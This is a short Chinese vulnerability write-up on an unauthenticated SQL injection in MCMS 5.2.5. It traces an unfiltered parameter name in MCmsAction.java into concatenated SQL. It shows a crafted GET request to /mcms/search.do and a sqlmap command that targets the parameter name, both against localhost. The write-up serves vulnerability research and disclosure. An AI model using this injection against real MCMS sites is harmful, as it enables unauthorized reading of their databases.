MCMS SQL注入

0x01 寻找可疑点

寻找到一处可疑点,位于net/mingsoft/cms/action/web/MCmsAction.java文件

往上寻找filed,发现是传入的参数

由于参数名没有过滤直接拼接了字符串,那么可能会存在漏洞,我们接着往下寻找数据链


进入到方法内部查看做了什么,并打上断点,开始跟数据

发现此块有数据库调用


0x02 尝试注入

接下来我们尝试注入,看到该文件的net/mingsoft/cms/action/web/MCmsAction.java的最上面类定义处,可以知道路由为host:port/mcms,再加上要调用的方法,可得路由为host:port/mcms/search.do,接下来尝试注入

GET /mcms/search.do?1'=0000 HTTP/1.1
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Postman-Token: 315bc447-c977-4eb8-8b99-ae231e7a2b08
Host: localhost:8080
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=96B0978724C81C34A99F09541FA893D4


接下来使用sqlmap,由于注入点在参数名,需要用*指定注入点

sqlmap -u "http://localhost:8080/mcms/search.do*=1"

因此,MCMS 5.2.5存在GET型SQL注入,无需认证,可以获取数据库信息,利用简单。

产生原因是使用了不安全的SQL语句拼接